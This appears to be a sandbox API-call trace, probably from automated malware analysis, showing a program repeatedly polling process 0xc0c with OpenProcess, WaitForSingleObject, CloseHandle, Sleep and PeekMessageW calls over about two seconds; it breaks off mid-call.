0 [0296.622] Sleep (dwMilliseconds=0x1) [0296.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3418 [0296.637] WaitForSingleObject (hHandle=0x3418, dwMilliseconds=0xa) returned 0x102 [0296.653] CloseHandle (hObject=0x3418) returned 1 [0296.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.653] Sleep (dwMilliseconds=0x1) [0296.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3424 [0296.669] WaitForSingleObject (hHandle=0x3424, dwMilliseconds=0xa) returned 0x102 [0296.685] CloseHandle (hObject=0x3424) returned 1 [0296.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.685] Sleep (dwMilliseconds=0x1) [0296.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3424 [0296.700] WaitForSingleObject (hHandle=0x3424, dwMilliseconds=0xa) returned 0x102 [0296.716] CloseHandle (hObject=0x3424) returned 1 [0296.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.716] Sleep (dwMilliseconds=0x1) [0296.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3424 [0296.731] WaitForSingleObject (hHandle=0x3424, dwMilliseconds=0xa) returned 0x102 [0296.747] CloseHandle (hObject=0x3424) returned 1 [0296.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.747] Sleep (dwMilliseconds=0x1) [0296.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3424 [0296.762] WaitForSingleObject (hHandle=0x3424, dwMilliseconds=0xa) returned 0x102 [0296.785] CloseHandle (hObject=0x3424) returned 1 [0296.785] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.785] Sleep (dwMilliseconds=0x1) [0296.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3424 [0296.794] WaitForSingleObject (hHandle=0x3424, dwMilliseconds=0xa) returned 0x102 [0296.811] CloseHandle (hObject=0x3424) returned 1 [0296.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.811] Sleep (dwMilliseconds=0x1) [0296.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3470 [0296.826] WaitForSingleObject (hHandle=0x3470, dwMilliseconds=0xa) returned 0x102 [0296.841] CloseHandle (hObject=0x3470) returned 1 [0296.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.841] Sleep (dwMilliseconds=0x1) [0296.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3470 [0296.856] WaitForSingleObject (hHandle=0x3470, dwMilliseconds=0xa) returned 0x102 [0296.872] CloseHandle (hObject=0x3470) returned 1 [0296.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.872] Sleep (dwMilliseconds=0x1) [0296.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3470 [0296.888] WaitForSingleObject (hHandle=0x3470, dwMilliseconds=0xa) returned 0x102 [0296.903] CloseHandle (hObject=0x3470) returned 1 [0296.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.903] Sleep (dwMilliseconds=0x1) [0296.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34ac [0296.919] WaitForSingleObject (hHandle=0x34ac, dwMilliseconds=0xa) returned 0x102 [0296.934] CloseHandle (hObject=0x34ac) returned 1 [0296.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.934] Sleep (dwMilliseconds=0x1) [0296.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34b4 [0296.951] WaitForSingleObject (hHandle=0x34b4, dwMilliseconds=0xa) returned 0x102 [0296.969] CloseHandle (hObject=0x34b4) returned 1 [0296.969] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.969] Sleep (dwMilliseconds=0x1) [0296.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34b4 [0296.981] WaitForSingleObject (hHandle=0x34b4, dwMilliseconds=0xa) returned 0x102 [0296.997] CloseHandle (hObject=0x34b4) returned 1 [0296.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.997] Sleep (dwMilliseconds=0x1) [0297.019] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34b4 [0297.019] WaitForSingleObject (hHandle=0x34b4, dwMilliseconds=0xa) returned 0x102 [0297.028] CloseHandle (hObject=0x34b4) returned 1 [0297.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.028] Sleep (dwMilliseconds=0x1) [0297.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34b4 [0297.044] WaitForSingleObject (hHandle=0x34b4, dwMilliseconds=0xa) returned 0x102 [0297.059] CloseHandle (hObject=0x34b4) returned 1 [0297.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.059] Sleep (dwMilliseconds=0x1) [0297.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34f8 [0297.078] WaitForSingleObject (hHandle=0x34f8, dwMilliseconds=0xa) returned 0x102 [0297.091] CloseHandle (hObject=0x34f8) returned 1 [0297.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.091] Sleep (dwMilliseconds=0x1) [0297.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34f8 [0297.106] WaitForSingleObject (hHandle=0x34f8, dwMilliseconds=0xa) returned 0x102 [0297.122] CloseHandle (hObject=0x34f8) returned 1 [0297.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.122] Sleep (dwMilliseconds=0x1) [0297.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x34f8 [0297.137] WaitForSingleObject (hHandle=0x34f8, dwMilliseconds=0xa) returned 0x102 [0297.153] CloseHandle (hObject=0x34f8) returned 1 [0297.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.153] Sleep (dwMilliseconds=0x1) [0297.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3504 [0297.169] WaitForSingleObject (hHandle=0x3504, dwMilliseconds=0xa) returned 0x102 [0297.184] CloseHandle (hObject=0x3504) returned 1 [0297.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.184] Sleep (dwMilliseconds=0x1) [0297.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3504 [0297.200] WaitForSingleObject (hHandle=0x3504, dwMilliseconds=0xa) returned 0x102 [0297.216] CloseHandle (hObject=0x3504) returned 1 [0297.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.216] Sleep (dwMilliseconds=0x1) [0297.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3504 [0297.231] WaitForSingleObject (hHandle=0x3504, dwMilliseconds=0xa) returned 0x102 [0297.247] CloseHandle (hObject=0x3504) returned 1 [0297.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.247] Sleep (dwMilliseconds=0x1) [0297.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3524 [0297.264] WaitForSingleObject (hHandle=0x3524, dwMilliseconds=0xa) returned 0x102 [0297.278] CloseHandle (hObject=0x3524) returned 1 [0297.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.278] Sleep (dwMilliseconds=0x1) [0297.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x354c [0297.300] WaitForSingleObject (hHandle=0x354c, dwMilliseconds=0xa) returned 0x102 [0297.309] CloseHandle (hObject=0x354c) returned 1 [0297.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.309] Sleep (dwMilliseconds=0x1) [0297.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x354c [0297.326] WaitForSingleObject (hHandle=0x354c, dwMilliseconds=0xa) returned 0x102 [0297.341] CloseHandle (hObject=0x354c) returned 1 [0297.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.341] Sleep (dwMilliseconds=0x1) [0297.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3580 [0297.357] WaitForSingleObject (hHandle=0x3580, dwMilliseconds=0xa) returned 0x102 [0297.373] CloseHandle (hObject=0x3580) returned 1 [0297.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.373] Sleep (dwMilliseconds=0x1) [0297.392] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x35dc [0297.392] WaitForSingleObject (hHandle=0x35dc, dwMilliseconds=0xa) returned 0x102 [0297.404] CloseHandle (hObject=0x35dc) returned 1 [0297.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.404] Sleep (dwMilliseconds=0x1) [0297.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x35dc [0297.419] WaitForSingleObject (hHandle=0x35dc, dwMilliseconds=0xa) returned 0x102 [0297.434] CloseHandle (hObject=0x35dc) returned 1 [0297.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.435] Sleep (dwMilliseconds=0x1) [0297.454] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x360c [0297.454] WaitForSingleObject (hHandle=0x360c, dwMilliseconds=0xa) returned 0x102 [0297.468] CloseHandle (hObject=0x360c) returned 1 [0297.468] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.468] Sleep (dwMilliseconds=0x1) [0297.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3658 [0297.482] WaitForSingleObject (hHandle=0x3658, dwMilliseconds=0xa) returned 0x102 [0297.500] CloseHandle (hObject=0x3658) returned 1 [0297.501] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.501] Sleep (dwMilliseconds=0x1) [0297.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x369c [0297.512] WaitForSingleObject (hHandle=0x369c, dwMilliseconds=0xa) returned 0x102 [0297.532] CloseHandle (hObject=0x369c) returned 1 [0297.532] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.532] Sleep (dwMilliseconds=0x1) [0297.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x36ac [0297.544] WaitForSingleObject (hHandle=0x36ac, dwMilliseconds=0xa) returned 0x102 [0297.561] CloseHandle (hObject=0x36ac) returned 1 [0297.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.561] Sleep (dwMilliseconds=0x1) [0297.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x36d8 [0297.576] WaitForSingleObject (hHandle=0x36d8, dwMilliseconds=0xa) returned 0x102 [0297.591] CloseHandle (hObject=0x36d8) returned 1 [0297.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.591] Sleep (dwMilliseconds=0x1) [0297.609] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3738 [0297.609] WaitForSingleObject (hHandle=0x3738, dwMilliseconds=0xa) returned 0x102 [0297.622] CloseHandle (hObject=0x3738) returned 1 [0297.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.622] Sleep (dwMilliseconds=0x1) [0297.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3748 [0297.638] WaitForSingleObject (hHandle=0x3748, dwMilliseconds=0xa) returned 0x102 [0297.657] CloseHandle (hObject=0x3748) returned 1 [0297.657] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.657] Sleep (dwMilliseconds=0x1) [0297.671] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3748 [0297.671] WaitForSingleObject (hHandle=0x3748, dwMilliseconds=0xa) returned 0x102 [0297.684] CloseHandle (hObject=0x3748) returned 1 [0297.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.684] Sleep (dwMilliseconds=0x1) [0297.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x376c [0297.701] WaitForSingleObject (hHandle=0x376c, dwMilliseconds=0xa) returned 0x102 [0297.716] CloseHandle (hObject=0x376c) returned 1 [0297.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.716] Sleep (dwMilliseconds=0x1) [0297.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x376c [0297.731] WaitForSingleObject (hHandle=0x376c, dwMilliseconds=0xa) returned 0x102 [0297.747] CloseHandle (hObject=0x376c) returned 1 [0297.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.747] Sleep (dwMilliseconds=0x1) [0297.767] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3770 [0297.767] WaitForSingleObject (hHandle=0x3770, dwMilliseconds=0xa) returned 0x102 [0297.786] CloseHandle (hObject=0x3770) returned 1 [0297.786] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.786] Sleep (dwMilliseconds=0x1) [0297.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3770 [0297.794] WaitForSingleObject (hHandle=0x3770, dwMilliseconds=0xa) returned 0x102 [0297.809] CloseHandle (hObject=0x3770) returned 1 [0297.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.809] Sleep (dwMilliseconds=0x1) [0297.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3770 [0297.825] WaitForSingleObject (hHandle=0x3770, dwMilliseconds=0xa) returned 0x102 [0297.841] CloseHandle (hObject=0x3770) returned 1 [0297.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.841] Sleep (dwMilliseconds=0x1) [0297.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3784 [0297.858] WaitForSingleObject (hHandle=0x3784, dwMilliseconds=0xa) returned 0x102 [0297.872] CloseHandle (hObject=0x3784) returned 1 [0297.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.872] Sleep (dwMilliseconds=0x1) [0297.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x37d4 [0297.889] WaitForSingleObject (hHandle=0x37d4, dwMilliseconds=0xa) returned 0x102 [0297.905] CloseHandle (hObject=0x37d4) returned 1 [0297.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.905] Sleep (dwMilliseconds=0x1) [0297.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3818 [0297.919] WaitForSingleObject (hHandle=0x3818, dwMilliseconds=0xa) returned 0x102 [0297.934] CloseHandle (hObject=0x3818) returned 1 [0297.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.934] Sleep (dwMilliseconds=0x1) [0297.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3854 [0297.950] WaitForSingleObject (hHandle=0x3854, dwMilliseconds=0xa) returned 0x102 [0297.966] CloseHandle (hObject=0x3854) returned 1 [0297.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.966] Sleep (dwMilliseconds=0x1) [0297.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38ac [0297.981] WaitForSingleObject (hHandle=0x38ac, dwMilliseconds=0xa) returned 0x102 [0297.997] CloseHandle (hObject=0x38ac) returned 1 [0297.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0297.997] Sleep (dwMilliseconds=0x1) [0298.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38ac [0298.018] WaitForSingleObject (hHandle=0x38ac, dwMilliseconds=0xa) returned 0x102 [0298.028] CloseHandle (hObject=0x38ac) returned 1 [0298.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.028] Sleep (dwMilliseconds=0x1) [0298.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38b8 [0298.045] WaitForSingleObject (hHandle=0x38b8, dwMilliseconds=0xa) returned 0x102 [0298.059] CloseHandle (hObject=0x38b8) returned 1 [0298.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.059] Sleep (dwMilliseconds=0x1) [0298.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38b8 [0298.075] WaitForSingleObject (hHandle=0x38b8, dwMilliseconds=0xa) returned 0x102 [0298.091] CloseHandle (hObject=0x38b8) returned 1 [0298.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.091] Sleep (dwMilliseconds=0x1) [0298.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38dc [0298.107] WaitForSingleObject (hHandle=0x38dc, dwMilliseconds=0xa) returned 0x102 [0298.122] CloseHandle (hObject=0x38dc) returned 1 [0298.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.122] Sleep (dwMilliseconds=0x1) [0298.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38dc [0298.137] WaitForSingleObject (hHandle=0x38dc, dwMilliseconds=0xa) returned 0x102 [0298.153] CloseHandle (hObject=0x38dc) returned 1 [0298.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.153] Sleep (dwMilliseconds=0x1) [0298.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x38dc [0298.169] WaitForSingleObject (hHandle=0x38dc, dwMilliseconds=0xa) returned 0x102 [0298.189] CloseHandle (hObject=0x38dc) returned 1 [0298.189] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.189] Sleep (dwMilliseconds=0x1) [0298.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3924 [0298.200] WaitForSingleObject (hHandle=0x3924, dwMilliseconds=0xa) returned 0x102 [0298.216] CloseHandle (hObject=0x3924) returned 1 [0298.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.216] Sleep (dwMilliseconds=0x1) [0298.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3924 [0298.231] WaitForSingleObject (hHandle=0x3924, dwMilliseconds=0xa) returned 0x102 [0298.247] CloseHandle (hObject=0x3924) returned 1 [0298.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.247] Sleep (dwMilliseconds=0x1) [0298.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3928 [0298.262] WaitForSingleObject (hHandle=0x3928, dwMilliseconds=0xa) returned 0x102 [0298.278] CloseHandle (hObject=0x3928) returned 1 [0298.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.278] Sleep (dwMilliseconds=0x1) [0298.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3928 [0298.294] WaitForSingleObject (hHandle=0x3928, dwMilliseconds=0xa) returned 0x102 [0298.309] CloseHandle (hObject=0x3928) returned 1 [0298.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.309] Sleep (dwMilliseconds=0x1) [0298.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3928 [0298.325] WaitForSingleObject (hHandle=0x3928, dwMilliseconds=0xa) returned 0x102 [0298.341] CloseHandle (hObject=0x3928) returned 1 [0298.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.341] Sleep (dwMilliseconds=0x1) [0298.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3940 [0298.356] WaitForSingleObject (hHandle=0x3940, dwMilliseconds=0xa) returned 0x102 [0298.372] CloseHandle (hObject=0x3940) returned 1 [0298.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.372] Sleep (dwMilliseconds=0x1) [0298.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3940 [0298.387] WaitForSingleObject (hHandle=0x3940, dwMilliseconds=0xa) returned 0x102 [0298.406] CloseHandle (hObject=0x3940) returned 1 [0298.406] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.407] Sleep (dwMilliseconds=0x1) [0298.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3960 [0298.419] WaitForSingleObject (hHandle=0x3960, dwMilliseconds=0xa) returned 0x102 [0298.434] CloseHandle (hObject=0x3960) returned 1 [0298.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.434] Sleep (dwMilliseconds=0x1) [0298.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3960 [0298.450] WaitForSingleObject 